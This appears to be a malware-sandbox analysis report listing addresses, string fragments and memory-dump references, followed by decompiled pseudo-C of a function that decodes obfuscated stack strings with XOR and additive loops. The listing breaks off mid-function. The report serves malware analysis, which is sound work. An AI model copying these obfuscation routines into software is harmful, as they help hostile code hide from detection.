0x0040f3b6
0x0040f3be
0x0040f3c6
0x0040f3ce
0x0040f3d6
0x0040f3de
0x0040f3e6
0x0040f3f3
0x0040f3f7
0x0040f3ff
0x0040f407
0x0040f40f
0x0040f417
0x0040f41f
0x0040f427
0x0040f42f
0x0040f437
0x0040f439
0x0040f440
0x0040f447
0x0040f44e
0x0040f455
0x0040f456
0x0040f45d
0x0040f45e
0x0040f47c
0x0040f48d
0x0040f49e
0x0040f4ae
0x0040f4c0
0x0040f4d1
0x0040f4d8
0x0040f4e3
0x0040f4ea
0x0040f4f2
0x0040f4f9
0x0040f500
0x0040f508
0x0040f510
0x0040f518
0x0040f520
0x0040f528
0x0040f52f
0x0040f537
0x0040f53f
0x0040f547
0x0040f54f
0x0040f557
0x0040f55f
0x0040f566
0x0040f56e
0x0040f576
0x0040f57e
0x0040f586
0x0040f58e
0x0040f596
0x0040f59e
0x0040f5a6
0x0040f5ae
0x0040f5b6
0x0040f5be
0x0040f5c6
0x0040f5ce
0x0040f5db
0x0040f5dd
0x0040f5e5
0x0040f5ed
0x0040f5f5
0x0040f5fd
0x0040f605
0x0040f60d
0x0040f615
0x0040f61d
0x0040f624
0x0040f62c
0x0040f634
0x0040f63c
0x0040f644
0x0040f64c
0x0040f654
0x0040f65b
0x0040f663
0x0040f66b
0x0040f673
0x0040f67b
0x0040f683
0x0040f68b
0x0040f694
0x0040f69c
0x0040f6a4
0x0040f6ac
0x0040f6b4
0x0040f6bc
0x0040f6c4
0x0040f6cc
0x0040f6d4
0x0040f6dc
0x0040f6e4
0x0040f6ec
0x0040f6f4
0x0040f6fc
0x0040f701
0x0040f70a
0x0040f712
0x0040f714
0x0040f71c
0x0040f724
0x0040f72c
0x0040f734
0x0040f73c
0x0040f744
0x0040f74c
0x0040f754
0x0040f75b
0x0040f763
0x0040f76b
0x0040f773
0x0040f77b
0x0040f783
0x0040f78a
0x0040f792
0x0040f79a
0x0040f7a2
0x0040f7aa
0x0040f7b2
0x0040f7ba
0x0040f7c2
0x0040f7ca
0x0040f7d2
0x0040f7d9
0x0040f7e1
0x0040f7e9
0x0040f7f1
0x0040f7f9
0x0040f801
0x0040f809
0x0040f811
0x0040f819
0x0040f821
0x0040f829
0x0040f831
0x0040f83e
0x0040f842
0x0040f847
0x0040f84c
0x0040f851
0x0040f855
0x0040f85d
0x0040f865
0x0040f86d
0x0040f875
0x0040f87d
0x0040f885
0x0040f88c
0x0040f894
0x0040f89c
0x0040f8a4
0x0040f8ac
0x0040f8b3
0x0040f8bb
0x0040f8c3
0x0040f8cb
0x0040f8d3
0x0040f8dc
0x0040f8e4
0x0040f8ec
0x0040f8f3
0x0040f8fb
0x0040f903
0x0040f90b
0x0040f913
0x0040f91b
0x0040f922
0x0040f92a
0x0040f932
0x0040f93a
0x0040f942
0x0040f94a
0x0040f952
0x0040f95a
0x0040f962
0x0040f96a
0x0040f971
0x0040f979
0x0040f981
0x0040f989
0x0040f991
0x0040f998
0x0040f9a0
0x0040f9a8
0x0040f9b0
0x0040f9b8
0x0040f9c0
0x0040f9c8
0x0040f9cf
0x0040f9d7
0x0040f9df
0x0040f9e7
0x0040f9ef
0x0040f9f7
0x0040f9fe
0x0040fa06
0x0040fa0e
0x0040fa16
0x0040fa1e
0x0040fa26
0x0040fa2e
0x0040fa36
0x0040fa3e
0x0040fa46
0x0040fa4e
0x0040fa53
0x0040fa5b
0x0040fa63
0x0040fa6b
0x0040fa73
0x0040fa7b
0x0040fa83
0x0040fa85
0x0040fa90
0x0040fa97
0x0040faa2
0x0040faad
0x0040faae
0x0040fab5
0x0040fab6
0x0040facb
0x0040fadf
0x0040faed
0x0040fb01
0x0040fb0f
0x0040fb19
0x0040fb1e
0x0040fb25
0x0040fb2d
0x0040fb35
0x0040fb3d
0x0040fb45
0x0040fb4d
0x0040fb54
0x0040fb5c
0x0040fb64
0x0040fb6c
0x0040fb74
0x0040fb7c
0x0040fb83
0x0040fb8b
0x0040fb93
0x0040fb9b
0x0040fba3
0x0040fbab
0x0040fbb3
0x0040fbb5
0x0040fbc0
0x0040fbc7
0x0040fbce
0x0040fbd5
0x0040fbdc
0x0040fbdd
0x0040fbe4
0x0040fbe7
0x0040fbeb
0x0040fbeb
0x0040fc08
0x0040fc16
0x0040fc2a
0x0040fc38
0x0040fc4c
0x0040fc53
0x0040fc61
0x0040fc69
0x0040fc6d
0x0040fc74
0x0040fc78
0x0040fc7f
0x0040fc8a
0x0040fc95
0x0040fca0
0x0040fcaf
0x0040fcb3
0x0040fcc2
0x0040fcc6
0x0040fcd1
0x0040fcd5
0x0040fcdc
0x0040fce7
0x0040fcf9
0x0040fd04
0x0040fd0f
0x0040fd13
0x0040fd1a
0x0040fd22
0x0040fd2a
0x0040fd32
0x0040fd3a
0x0040fd42
0x0040fd4a
0x0040fd52
0x0040fd5a
0x0040fd61
0x0040fd69
0x0040fd71
0x0040fd79
0x0040fd81
0x0040fd89
0x0040fd91
0x0040fd98
0x0040fda0
0x0040fda8
0x0040fdb0
0x0040fdb8
0x0040fdc0
0x0040fdc8
0x0040fdcf
0x0040fdd3
0x0040fdd7
0x0040fde6
0x0040fdea
0x0040fdf5
0x0040fe03
0x0040fe11
0x0040fe18
0x0040fe1f
0x0040fe2d
0x0040fe34
0x0040fe3b
0x0040fe49
0x0040fe57
0x0040fe5e
0x0040fe7a
0x0040fe81
0x0040fe88
0x0040fe9d
0x0040fea4
0x0040feab
0x0040feb2
0x0040fecb
0x0040fed2
0x0040fed9
0x0040fee0
0x0040feef
0x0040fef3
0x0040fef5
0x0040fef8
0x0040fef8
0x0040fefa
0x0040fefb
0x0040ff24

Strings

e, xrefs: 0040F847
e, xrefs: 0040F92A
h, xrefs: 0040F922
gibor, xrefs: 0040FE9D
n, xrefs: 0040F93A
i, xrefs: 0040F510
c, xrefs: 0040F63C
i, xrefs: 0040F67B
r, xrefs: 0040EEC9
#, xrefs: 0040FA1E
d, xrefs: 0040F79A
t, xrefs: 0040FDB0
h, xrefs: 0040F9B8
c, xrefs: 0040EF3F
`, xrefs: 0040F6B4
s, xrefs: 0040F605
h, xrefs: 0040F5E5
l, xrefs: 0040FD42
w, xrefs: 0040F998
n, xrefs: 0040FD89
n, xrefs: 0040F981
e, xrefs: 0040F95A
s, xrefs: 0040EE07
s, xrefs: 0040FD79
o, xrefs: 0040F367
a, xrefs: 0040F62C
l, xrefs: 0040FD71
n, xrefs: 0040F36F
a, xrefs: 0040F64C
o, xrefs: 0040F71C
irdor, xrefs: 0040FE34
7, xrefs: 0040F65B
d, xrefs: 0040F347
n, xrefs: 0040F90B
g, xrefs: 0040F913
i, xrefs: 0040F644
n, xrefs: 0040F615
a, xrefs: 0040FB64
e, xrefs: 0040F84C
g, xrefs: 0040F624
i, xrefs: 0040F72C
l, xrefs: 0040F842
i, xrefs: 0040F9A8
H, xrefs: 0040F069
G@,, xrefs: 0040EDE6
s, xrefs: 0040F557
o, xrefs: 0040F298
], xrefs: 0040F7F9
r, xrefs: 0040F6F4
h, xrefs: 0040F596
o, xrefs: 0040F8FB
r, xrefs: 0040FDC0
b, xrefs: 0040F3CE
g, xrefs: 0040F9B0
j, xrefs: 0040EEB6
r, xrefs: 0040F9A0
g, xrefs: 0040FB25
t, xrefs: 0040F9C0
b, xrefs: 0040EED9
l, xrefs: 0040F801
r, xrefs: 0040F932
o, xrefs: 0040F2A0
n, xrefs: 0040FB45
e, xrefs: 0040F520
d, xrefs: 0040FB5C
>, xrefs: 0040F2D7
o, xrefs: 0040F5ED
r, xrefs: 0040F7A2
e, xrefs: 0040FD69
e, xrefs: 0040FB35
y, xrefs: 0040F8F3
e, xrefs: 0040F3BE
a, xrefs: 0040F85D
t, xrefs: 0040F518
agy, xrefs: 0040FE18
n, xrefs: 0040F94A
r, xrefs: 0040F2A8
d, xrefs: 0040F952
6, xrefs: 0040F2DF
g, xrefs: 0040F989
e, xrefs: 0040F8CB
6, xrefs: 0040F663
e, xrefs: 0040EEC0
>, xrefs: 0040FA5B
n, xrefs: 0040FD61
lybor, xrefs: 0040FC6D
u, xrefs: 0040F903
s, xrefs: 0040FB74
l, xrefs: 0040F865
3, xrefs: 0040F0B0
j, xrefs: 0040EEF8
s, xrefs: 0040F35F
z, xrefs: 0040F962
n, xrefs: 0040F33F
B, xrefs: 0040F5CE
o, xrefs: 0040EEBB
e, xrefs: 0040EF10
m, xrefs: 0040F5F5
e, xrefs: 0040F34F
y, xrefs: 0040EEE1
r, xrefs: 0040FB2D
k, xrefs: 0040F86D
5, xrefs: 0040FA06
r, xrefs: 0040F357
q, xrefs: 0040F2E7
w, xrefs: 0040F855
r, xrefs: 0040F634
r, xrefs: 0040F87D
e, xrefs: 0040FDB8
p, xrefs: 0040F5FD
o, xrefs: 0040F792
l, xrefs: 0040F6C4
e, xrefs: 0040F875
h, xrefs: 0040F508
r, xrefs: 0040FDA8
J, xrefs: 0040F196
z, xrefs: 0040FD52
k, xrefs: 0040EE0F
e, xrefs: 0040FB3D
h, xrefs: 0040FA53
e, xrefs: 0040EF00
herej, xrefs: 0040FC78
i, xrefs: 0040F979
r, xrefs: 0040EF08
w, xrefs: 0040F500
o, xrefs: 0040F60D
e, xrefs: 0040FD4A
k, xrefs: 0040F971
m, xrefs: 0040F6E4
a, xrefs: 0040F337
a, xrefs: 0040FDA0
n, xrefs: 0040F8E4
p, xrefs: 0040F39E
c, xrefs: 0040FD98
a, xrefs: 0040F942
o, xrefs: 0040FD81
d, xrefs: 0040FA0E
m, xrefs: 0040FB6C
o, xrefs: 0040EED1
b, xrefs: 0040F724
r, xrefs: 0040F78A
t, xrefs: 0040F5DD
a, xrefs: 0040FB54
r, xrefs: 0040EE1F
r, xrefs: 0040F714
eroon, xrefs: 0040FCD5

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: #$3$5$6$6$7$>$>$B$G@,$H$J$]$`$a$a$a$a$a$a$a$a$agy$b$b$b$c$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$j$j$k$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$s$t$t$t$t$u$w$w$w$y$y$z$z
API String ID: 0-389125391
Opcode ID: 2dc069aee45e8ea9a31442a3486fc2dfc51bd1cc8338bbaf5ed13638c82b4ca2
Instruction ID: c31594d21701e52a224cdcfe6db95929ccafb1db7881ef4c4193a4b74e5cc1ed
Opcode Fuzzy Hash: 2dc069aee45e8ea9a31442a3486fc2dfc51bd1cc8338bbaf5ed13638c82b4ca2
Instruction Fuzzy Hash: 5EA2AE2450D7C189E332C72884587DFBFD25BA6718F488E9EC4ED1B292C6BA0259C777

Uniqueness

Uniqueness Score: -1.00%

Function 0041E3A0, Relevance: 180.9, APIs: 5, Strings: 98, Instructions: 627
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E0041E3A0(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				intOrPtr _t571;
				int _t572;
				void* _t575;
				void* _t579;
				void* _t585;
				void* _t586;
				void* _t590;
				CHAR* _t624;
				intOrPtr _t631;
				intOrPtr _t640;
				short _t649;
				short _t659;
				short _t719;
				struct _SECURITY_ATTRIBUTES* _t725;
				void* _t728;
				void* _t731;

				_t731 =  &_v176;
				_t571 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t571;
				_t728 = __ecx;
				_v104 = 0x7b;
				_v103 = 0x3a;
				_v102 = 0x59;
				_v101 = 0xfe;
				_v100 = 0x78;
				_v99 = 0xb0;
				_v98 = 0xb1;
				_v97 = 0x27;
				_v96 = 0x34;
				_v95 = 0xf8;
				_v94 = 0x7f;
				_v93 = 0x7a;
				_v92 = 6;
				_v91 = 0x30;
				_v90 = 0xcb;
				_v176 = 0x21;
				_v175 = 0x7b;
				_v174 = 0x18;
				_v173 = 0x92;
				_v172 = 0x14;
				_v171 = 0xdf;
				_v170 = 0xc6;
				_v169 = 0x62;
				_v168 = 0x42;
				_v167 = 0x9d;
				_v166 = 0x11;
				_v165 = 0xe;
				_v164 = 0x43;
				_v163 = 0x48;
				_v162 = 0xcb;
				_t572 = 0;
				do {
					 *(_t731 + _t572 + 0x58) =  *(_t731 + _t572 + 0x58) ^  *(_t731 + _t572 + 0x10);
					_t45 = _t572 + 0x5a; // 0x59
					 *(_t731 + _t572 + 0x5a) =  *(_t731 + _t45) ^  *(_t731 + _t572 + 0x12);
					 *(_t731 + _t572 + 0x59) =  *(_t731 + _t572 + 0x59) ^  *(_t731 + _t572 + 0x11);
					 *(_t731 + _t572 + 0x5b) =  *(_t731 + _t572 + 0x5b) ^  *(_t731 + _t572 + 0x13);
					 *(_t731 + _t572 + 0x5c) =  *(_t731 + _t572 + 0x5c) ^  *(_t731 + _t572 + 0x14);
					_t572 = _t572 + 5;
				} while (_t572 < 0xf);
				_t631 =  *0x431f34; // 0x32
				 *0x431f34 = _t631 + 0x32;
				_v56 = 0xbf;
				_v55 = 0xb5;
				_v54 = 0x53;
				_v53 = 0xa2;
				_v52 = 0x92;
				_v51 = 0x76;
				_v50 = 0x85;
				_v49 = 0xd9;
				_v48 = 4;
				_v47 = 0x41;
				_v46 = 0x85;
				_v45 = 0x70;
				_v44 = 0x49;
				_v43 = 0xf6;
				_v42 = 0x7d;
				_v41 = 0xd2;
				_v140 = 9;
				_v139 = 0x53;
				_v138 = 0x12;
				_v137 = 0x53;
				_v136 = 0x3f;
				_v135 = 0x53;
				_v134 = 0x3c;
				_v133 = 0x4b;
				_v132 = 0xe;
				_v131 = 0x78;
				_v130 = 0x1d;
				_v129 = 0x73;
				_v128 = 7;
				_v127 = 0x35;
				_v126 = 0x70;
				_v125 = 8;
				E0041E250(0x10,  &_v140,  &_v56);
				_v92 = 0x7b;
				_v91 = 0x3a;
				_v90 = 0x59;
				_v89 = 0xfe;
				_v88 = 0x78;
				_v87 = 0xb0;
				_v86 = 0xb1;
				_v85 = 0x27;
				_v84 = 0x34;
				_v83 = 0xf8;
				_v82 = 0x7f;
				_v81 = 0x7a;
				_v80 = 6;
				_v79 = 0x30;
				_v78 = 0xcb;
				_v180 = 0x28;
				_v179 = 0x7d;
				_v178 = 0x18;
				_v177 = 0x92;
				_v176 = 0x14;
				_v175 = 0xdf;
				_v174 = 0xc6;
				_v173 = 0x62;
				_v172 = 0x42;
				_v171 = 0x9d;
				_v170 = 0x11;
				_v169 = 0xe;
				_v168 = 0x43;
				_v167 = 0x48;
				_v166 = 0xcb;
				_t575 = 0;
				do {
					 *(_t731 + _t575 + 0x68) =  *(_t731 + _t575 + 0x68) ^  *(_t731 + _t575 + 0x10);
					_t137 = _t575 + 0x6a; // 0x59
					 *(_t731 + _t575 + 0x69) =  *(_t731 + _t575 + 0x69) ^  *(_t731 + _t575 + 0x11);
					 *(_t731 + _t575 + 0x6a) =  *(_t731 + _t137) ^  *(_t731 + _t575 + 0x12);
					 *(_t731 + _t575 + 0x6b) =  *(_t731 + _t575 + 0x6b) ^  *(_t731 + _t575 + 0x13);
					 *(_t731 + _t575 + 0x6c) =  *(_t731 + _t575 + 0x6c) ^  *(_t731 + _t575 + 0x14);
					_t575 = _t575 + 5;
				} while (_t575 < 0xf);
				_t640 =  *0x431f34; // 0x32
				_v137 = 0x5c;
				_v135 = 0x5c;
				 *0x431f34 = _t640 + 0x32;
				_v40 = 0xbf;
				_v39 = 0xb5;
				_v38 = 0x53;
				_v37 = 0xa2;
				_v36 = 0x92;
				_v35 = 0x76;
				_v34 = 0x85;
				_v33 = 0xd9;
				_v32 = 4;
				_v31 = 0x41;
				_v30 = 0x85;
				_v29 = 0x70;
				_v28 = 0x49;
				_v27 = 0xf6;
				_v26 = 0x7d;
				_v25 = 0xd2;
				_v140 = 9;
				_v139 = 0x5a;
				_v138 = 0x1d;
				_v136 = 0x30;
				_v134 = 0x33;
				_v133 = 0x44;
				_v132 = 1;
				_v131 = 0x77;
				_v130 = 0x12;
				_v129 = 0x7c;
				_v128 = 8;
				_v127 = 0x3a;
				_v126 = 0x7f;
				_v125 = 7;
				E0041E250(0x10,  &_v140,  &_v40);
				_t719 =  *0x431f38; // 0x2d2c
				_v144 = 0x54;
				_v143 = 0x2c;
				_v142 = 0x7c;
				_v141 = 0xc;
				_v140 = 0x12;
				_v139 = 0x7c;
				_v138 = 0x2c;
				_v137 = 0xe7;
				_v136 = 0x50;
				_v135 = 0x8d;
				_v134 = 0x53;
				_v133 = 0x29;
				_v132 = 0xa2;
				_v131 = 0xa8;
				_v130 = 0x4e;
				_v129 = 0x45;
				_v164 = 0xfa;
				_v163 = 0x1d;
				_v162 = 0xd7;
				_v161 = 0x35;
				_v160 = 0x5a;
				_v159 = 0xf0;
				_v158 = 0x43;
				_v157 = 0x90;
				_v156 = 0xf5;
				_v155 = 0xe9;
				_v154 = 0x12;
				_v153 = 0x45;
				_v152 = 0xd2;
				_v151 = 0x9d;
				_v150 = 0x2a;
				_v149 = 0xbb;
				_t579 = 0;
				do {
					 *((char*)(_t731 + _t579 + 0x34)) =  *((intOrPtr*)(_t731 + _t579 + 0x34)) +  *((intOrPtr*)(_t731 + _t579 + 0x20));
					_t233 = _t579 + 0x36; // 0x7c
					 *((char*)(_t731 + _t579 + 0x35)) =  *((intOrPtr*)(_t731 + _t579 + 0x35)) +  *((intOrPtr*)(_t731 + _t579 + 0x21));
					 *((char*)(_t731 + _t579 + 0x36)) =  *((intOrPtr*)(_t731 + _t233)) +  *((intOrPtr*)(_t731 + _t579 + 0x22));
					 *((char*)(_t731 + _t579 + 0x37)) =  *((intOrPtr*)(_t731 + _t579 + 0x37)) +  *((intOrPtr*)(_t731 + _t579 + 0x23));
					_t579 = _t579 + 4;
					_t719 = _t719 + 0x1b4;
				} while (_t579 < 0x10);
				 *0x431f38 = _t719;
				_v24 = 0x4c;
				_v23 = 0xd3;
				_v22 = 0x82;
				_v21 = 0x4f;
				_v20 = 0x90;
				_v19 = 0x73;
				_v18 = 0x45;
				_v17 = 0xda;
				_v16 = 0x5e;
				_v15 = 0xa0;
				_v14 = 0xe3;
				_v13 = 0x65;
				_v12 = 0x80;
				_v11 = 0x16;
				_v10 = 2;
				_v9 = 0x4a;
				_v8 = 0x59;
				_v124 = 0xd;
				_v123 = 0x43;
				_v122 = 0xa;
				_v121 = 0x59;
				_v120 = 0x18;
				_v119 = 0x74;
				_v118 = 0x18;
				_v117 = 0x77;
				_v116 = 0;
				_v115 = 0x45;
				_v114 = 0x33;
				_v113 = 0x56;
				_v112 = 0x38;
				_v111 = 0x4c;
				_v110 = 0x7e;
				_v109 = 0x3b;
				_v108 = 0x43;
				E0041E250(0x11,  &_v124,  &_v24);
				_v126 = 0xf2;
				_v124 = 0xf2;
				_v128 = 0x11;
				_v127 = 0x4d;
				_v125 = 0x60;
				_v123 = 0xf6;
				_v122 = 0xfc;
				_v121 = 0x1a;
				_v120 = 0x4e;
				_v119 = 0x98;
				_v118 = 0x3f;
				_v117 = 0xc1;
				_v116 = 0xf8;
				_v115 = 0xf4;
				_v114 = 0xb6;
				_v113 = 0x33;
				_v112 = 0x94;
				_v111 = 0xd5;
				_v110 = 0xd6;
				_v109 = 0x6d;
				_v164 = 0x3d;
				_v163 = 0xfc;
				_v162 = 0x61;
				_v161 = 0xed;
				_v160 = 0x6f;
				_v159 = 0x73;
				_v158 = 0x70;
				_v157 = 0x27;
				_v156 = 0x1e;
				_v155 = 0xd4;
				_v154 = 0x30;
				_v153 = 0xb6;
				_v152 = 0x4d;
				_v151 = 0x82;
				_v150 = 0xaf;
				_v149 = 0x3b;
				_v148 = 0xe0;
				_t649 =  *0x431f38; // 0x2d2c
				_v147 = 0x70;
				_v146 = 0xa2;
				_v145 = 0x93;
				_t585 = 0;
				do {
					 *((intOrPtr*)(_t731 + _t585 + 0x44)) =  *((intOrPtr*)(_t731 + _t585 + 0x44)) +  *((intOrPtr*)(_t731 + _t585 + 0x20));
					 *((intOrPtr*)(_t731 + _t585 + 0x45)) =  *((intOrPtr*)(_t731 + _t585 + 0x45)) +  *((intOrPtr*)(_t731 + _t585 + 0x21));
					 *((intOrPtr*)(_t731 + _t585 + 0x46)) =  *((intOrPtr*)(_t731 + _t585 + 0x46)) +  *((intOrPtr*)(_t731 + _t585 + 0x22));
					 *((intOrPtr*)(_t731 + _t585 + 0x47)) =  *((intOrPtr*)(_t731 + _t585 + 0x47)) +  *((intOrPtr*)(_t731 + _t585 + 0x23));
					 *((intOrPtr*)(_t731 + _t585 + 0x48)) =  *((intOrPtr*)(_t731 + _t585 + 0x48)) +  *((intOrPtr*)(_t731 + _t585 + 0x24));
					_t585 = _t585 + 5;
					_t649 = _t649 + 0x221;
				} while (_t585 < 0x14);
				_v72 = 0x54;
				_v71 = 0x2c;
				_v70 = 0x7c;
				_v69 = 0xc;
				_v68 = 0x12;
				_v67 = 0x7c;
				_v66 = 0x2c;
				_v65 = 0xe7;
				_v64 = 0x50;
				_v63 = 0x8d;
				_v62 = 0x53;
				_v61 = 0x29;
				_v60 = 0xa2;
				_v59 = 0xa8;
				_v58 = 0x4e;
				_v176 = 0xfb;
				_v175 = 0x24;
				_v174 = 0xc5;
				_v173 = 0x60;
				_v172 = 0x5a;
				_v171 = 0xf3;
				_v170 = 0x4b;
				_v169 = 0x5e;
				_v168 = 0x26;
				_v167 = 0xd8;
				_v166 = 0x1b;
				_v165 = 0x4b;
				_v164 = 0xa3;
				_v163 = 0xd0;
				_v162 = 0xb2;
				_t586 = 0;
				do {
					 *((intOrPtr*)(_t731 + _t586 + 0x78)) =  *((intOrPtr*)(_t731 + _t586 + 0x78)) +  *((intOrPtr*)(_t731 + _t586 + 0x10));
					 *((intOrPtr*)(_t731 + _t586 + 0x79)) =  *((intOrPtr*)(_t731 + _t586 + 0x79)) +  *((intOrPtr*)(_t731 + _t586 + 0x11));
					 *((intOrPtr*)(_t731 + _t586 + 0x7a)) =  *((intOrPtr*)(_t731 + _t586 + 0x7a)) +  *((intOrPtr*)(_t731 + _t586 + 0x12));
					 *((intOrPtr*)(_t731 + _t586 + 0x7b)) =  *((intOrPtr*)(_t731 + _t586 + 0x7b)) +  *((intOrPtr*)(_t731 + _t586 + 0x13));
					 *((intOrPtr*)(_t731 + _t586 + 0x7c)) =  *((intOrPtr*)(_t731 + _t586 + 0x7c)) +  *((intOrPtr*)(_t731 + _t586 + 0x14));
					_t586 = _t586 + 5;
					_t649 = _t649 + 0x221;
				} while (_t586 < 0xf);
				 *0x431f38 = _t649;
				_push( &_v124);
				_v124 = 0x9e;
				_v123 = 0x5a;
				_v122 = 0x4c;
				_v121 = 0xd3;
				_v120 = 0x82;
				_v119 = 0x4f;
				_v118 = 0x90;
				_v117 = 0x73;
				_v116 = 0x45;
				_v115 = 0xda;
				_v114 = 0x5e;
				_v113 = 0xa0;
				_v112 = 0xe3;
				_v111 = 0x65;
				_v110 = 0x80;
				_v109 = 0x16;
				_v160 = 0x16;
				_v159 = 0xf8;
				_v158 = 0x20;
				_v157 = 0xd1;
				_v156 = 0xd4;
				_v155 = 0x30;
				_v154 = 0xbf;
				_v153 = 0x33;
				_v152 = 0x36;
				_v151 = 0xe7;
				_v150 = 0x20;
				_v149 = 0xee;
				_v148 = 0xbf;
				_v147 = 0xd;
				_v146 = 0xa;
				_v145 = 0xd1;
				E0041E2E0( &_v160, 0x10);
				_t659 =  *0x431f38; // 0x2d2c
				_v180 = 0x54;
				_v179 = 0x2c;
				_v178 = 0x7c;
				_v177 = 0xc;
				_v176 = 0x12;
				_v175 = 0x7c;
				_v174 = 0x2c;
				_v173 = 0xe7;
				_v172 = 0x50;
				_v171 = 0x8d;
				_v170 = 0x53;
				_v169 = 0x29;
				_v168 = 0xa2;
				_v167 = 0xa8;
				_v166 = 0x4e;
				_v164 = 0xf9;
				_v163 = 0x15;
				_v162 = 0xc5;
				_v161 = 0x60;
				_v160 = 0x5a;
				_v159 = 0xf3;
				_v158 = 0x4b;
				_v157 = 0x5e;
				_v156 = 0x26;
				_v155 = 0xd8;
				_v154 = 0x1b;
				_v153 = 0x4b;
				_v152 = 0xa3;
				_v151 = 0xd0;
				_v150 = 0xb2;
				_t590 = 0;
				do {
					 *((char*)(_t731 + _t590 + 0x10)) =  *((intOrPtr*)(_t731 + _t590 + 0x10)) +  *((intOrPtr*)(_t731 + _t590 + 0x20));
					 *((char*)(_t731 + _t590 + 0x11)) =  *((intOrPtr*)(_t731 + _t590 + 0x11)) +  *((intOrPtr*)(_t731 + _t590 + 0x21));
					_t491 = _t590 + 0x12; // 0x7c
					 *((char*)(_t731 + _t590 + 0x12)) =  *((intOrPtr*)(_t731 + _t491)) +  *((intOrPtr*)(_t731 + _t590 + 0x22));
					 *((char*)(_t731 + _t590 + 0x13)) =  *((intOrPtr*)(_t731 + _t590 + 0x13)) +  *((intOrPtr*)(_t731 + _t590 + 0x23));
					 *((char*)(_t731 + _t590 + 0x14)) =  *((intOrPtr*)(_t731 + _t590 + 0x14)) +  *((intOrPtr*)(_t731 + _t590 + 0x24));
					_t590 = _t590 + 5;
					_t659 = _t659 + 0x221;
				} while (_t590 < 0xf);
				 *0x431f38 = _t659;
				_push( &_v164);
				_v164 = 0x9e;
				_v163 = 0x5a;
				_v162 = 0x4c;
				_v161 = 0xd3;
				_v160 = 0x82;
				_v159 = 0x4f;
				_v158 = 0x90;
				_v157 = 0x73;
				_v156 = 0x45;
				_v155 = 0xda;
				_v154 = 0x5e;
				_v153 = 0xa0;
				_v152 = 0xe3;
				_v151 = 0x65;
				_v150 = 0x80;
				_v149 = 0x16;
				_v180 = 0x16;
				_v179 = 0xf8;
				_v178 = 0x20;
				_v177 = 0xd1;
				_v176 = 0xd4;
				_v175 = 0x30;
				_v174 = 0xbf;
				_v173 = 0x33;
				_v172 = 0x36;
				_v171 = 0xe7;
				_v170 = 0x20;
				_v169 = 0xee;
				_v168 = 0xbf;
				_v167 = 0xd;
				_v166 = 0x1b;
				_v165 = 0xd3;
				_t624 = E0041E2E0( &_v180, 0x10);
				 *((intOrPtr*)(_t728 + 0x164)) = 0;
				 *((intOrPtr*)(_t728 + 0x16c)) = 0;
				 *((intOrPtr*)(_t728 + 0x184)) = 0;
				 *((intOrPtr*)(_t728 + 0x148)) = 0;
				 *((intOrPtr*)(_t728 + 0x144)) = 0;
				 *(_t728 + 0x18c) = 0;
				 *(_t728 + 0x188) = 1;
				memset(_t728 + 4, 0, 0x50 << 2);
				_push( *((intOrPtr*)(_t728 + 0x16c)));
				_push(0);
				_t725 = _t728 + 0x180;
				_push( *((intOrPtr*)(_t728 + 0x164)));
				_push(_t725);
				 *((intOrPtr*)(_t728 + 0x168)) = 0;
				_t725->nLength = 4;
				 *((intOrPtr*)(_t728 + 0x17c)) = 0;
